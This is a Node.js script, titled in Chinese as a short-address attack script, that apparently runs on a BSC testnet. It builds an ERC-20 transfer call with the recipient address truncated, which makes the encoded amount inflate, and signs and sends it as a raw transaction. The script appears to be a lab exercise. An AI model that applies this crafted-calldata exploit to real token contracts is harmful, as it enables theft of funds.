/**
 * @title 短地址攻击脚本
 */
const Web3 = require("web3")
const ethers = require("ethers")
const fs = require("fs-extra")
const CONTRACT_ABI = [
    {
        inputs: [],
        stateMutability: "nonpayable",
        type: "constructor",
    },
    {
        anonymous: false,
        inputs: [
            {
                indexed: true,
                internalType: "address",
                name: "owner",
                type: "address",
            },
            {
                indexed: true,
                internalType: "address",
                name: "spender",
                type: "address",
            },
            {
                indexed: false,
                internalType: "uint256",
                name: "value",
                type: "uint256",
            },
        ],
        name: "Approval",
        type: "event",
    },
    {
        anonymous: false,
        inputs: [
            {
                indexed: true,
                internalType: "address",
                name: "previousOwner",
                type: "address",
            },
            {
                indexed: true,
                internalType: "address",
                name: "newOwner",
                type: "address",
            },
        ],
        name: "OwnershipTransferred",
        type: "event",
    },
    {
        anonymous: false,
        inputs: [
            {
                indexed: true,
                internalType: "address",
                name: "from",
                type: "address",
            },
            {
                indexed: true,
                internalType: "address",
                name: "to",
                type: "address",
            },
            {
                indexed: false,
                internalType: "uint256",
                name: "value",
                type: "uint256",
            },
        ],
        name: "Transfer",
        type: "event",
    },
    {
        inputs: [
            {
                internalType: "address",
                name: "owner",
                type: "address",
            },
            {
                internalType: "address",
                name: "spender",
                type: "address",
            },
        ],
        name: "allowance",
        outputs: [
            {
                internalType: "uint256",
                name: "",
                type: "uint256",
            },
        ],
        stateMutability: "view",
        type: "function",
    },
    {
        inputs: [
            {
                internalType: "address",
                name: "spender",
                type: "address",
            },
            {
                internalType: "uint256",
                name: "amount",
                type: "uint256",
            },
        ],
        name: "approve",
        outputs: [
            {
                internalType: "bool",
                name: "",
                type: "bool",
            },
        ],
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        inputs: [
            {
                internalType: "address",
                name: "account",
                type: "address",
            },
        ],
        name: "balanceOf",
        outputs: [
            {
                internalType: "uint256",
                name: "",
                type: "uint256",
            },
        ],
        stateMutability: "view",
        type: "function",
    },
    {
        inputs: [],
        name: "decimals",
        outputs: [
            {
                internalType: "uint256",
                name: "",
                type: "uint256",
            },
        ],
        stateMutability: "view",
        type: "function",
    },
    {
        inputs: [
            {
                internalType: "address",
                name: "spender",
                type: "address",
            },
            {
                internalType: "uint256",
                name: "subtractedValue",
                type: "uint256",
            },
        ],
        name: "decreaseAllowance",
        outputs: [
            {
                internalType: "bool",
                name: "",
                type: "bool",
            },
        ],
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        inputs: [
            {
                internalType: "address",
                name: "spender",
                type: "address",
            },
            {
                internalType: "uint256",
                name: "addedValue",
                type: "uint256",
            },
        ],
        name: "increaseAllowance",
        outputs: [
            {
                internalType: "bool",
                name: "",
                type: "bool",
            },
        ],
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        inputs: [],
        name: "name",
        outputs: [
            {
                internalType: "string",
                name: "",
                type: "string",
            },
        ],
        stateMutability: "view",
        type: "function",
    },
    {
        inputs: [],
        name: "owner",
        outputs: [
            {
                internalType: "address",
                name: "",
                type: "address",
            },
        ],
        stateMutability: "view",
        type: "function",
    },
    {
        inputs: [],
        name: "renounceOwnership",
        outputs: [],
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        inputs: [],
        name: "symbol",
        outputs: [
            {
                internalType: "string",
                name: "",
                type: "string",
            },
        ],
        stateMutability: "view",
        type: "function",
    },
    {
        inputs: [],
        name: "totalSupply",
        outputs: [
            {
                internalType: "uint256",
                name: "",
                type: "uint256",
            },
        ],
        stateMutability: "view",
        type: "function",
    },
    {
        inputs: [
            {
                internalType: "address",
                name: "recipient",
                type: "address",
            },
            {
                internalType: "uint256",
                name: "amount",
                type: "uint256",
            },
        ],
        name: "transfer",
        outputs: [
            {
                internalType: "bool",
                name: "",
                type: "bool",
            },
        ],
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        inputs: [
            {
                internalType: "address",
                name: "sender",
                type: "address",
            },
            {
                internalType: "address",
                name: "recipient",
                type: "address",
            },
            {
                internalType: "uint256",
                name: "amount",
                type: "uint256",
            },
        ],
        name: "transferFrom",
        outputs: [
            {
                internalType: "bool",
                name: "",
                type: "bool",
            },
        ],
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        inputs: [
            {
                internalType: "address",
                name: "newOwner",
                type: "address",
            },
        ],
        name: "transferOwnership",
        outputs: [],
        stateMutability: "nonpayable",
        type: "function",
    },
    {
        stateMutability: "payable",
        type: "receive",
    },
]
// @ts-ignore
const web3 = new Web3(
    "https://bsc.getblock.io/5d4a6eff-7f26-4fff-bb0b-1df541ce4705/testnet"
)

//console.log(CONTRACT_ABI)
let traget = new web3.eth.Contract(
    CONTRACT_ABI
    // "0x80a59d286be6CC86fDDaf48839c2F67445755F0f"
)

//console.log(traget.methods)

// let abi = traget.methods
//     .transfer(
//         "0xB68037195f3c5706889FD1C2a789C90046b08000", //地址最后两位为0 去掉
//         "1000000000000000000"
//     )
//     .encodeABI()

// console.log(abi)
async function trasactionTest() {
    const provider = new ethers.providers.JsonRpcProvider(
        //"https://bsc.getblock.io/be85e170-938c-4aef-a83e-05d4a2597fec/testnet/" //bscTestnet
        //"https://data-seed-prebsc-1-s1.binance.org:8545"
        "https://bsc-testnet.nodereal.io/v1/98071adbec4e4f7b9c0d5d6e775a11bd"
    )

    let wallet = new ethers.Wallet(
        // @ts-ignore
        process.env.WALLET_PRIVATE_KEY
    ).connect(provider)

    const nonce = await wallet.getTransactionCount() //不同的交易 不断更新nonce
    const tx = {
        nonce: nonce, //无论是在交易数据中还是在区块数据中nonce都是标识唯一性的随机数
        gasPrice: ethers.utils.parseEther("0.001"),
        gasLimit: ethers.utils.parseEther("0.005"),
        to: "0x80a59d286be6CC86fDDaf48839c2F67445755F0f",
        value: ethers.utils.parseEther("0"),
        data: "0xa9059cbb000000000000000000000000b68037195f3c5706889fd1c2a789c90046b080000000000000000000000000000000000000000000000000000de0b6b3a7640000",
        //chainId: 97,
    }
    const sendTxRes = await wallet.sendTransaction(Object(tx)) //保证类型安全用Object包一下
    console.log("transaction detail", sendTxRes)
}
trasactionTest()
    .then(() => process.exit(0))
    .catch((error) => {
        console.log(error)
        process.exit(1)
    })
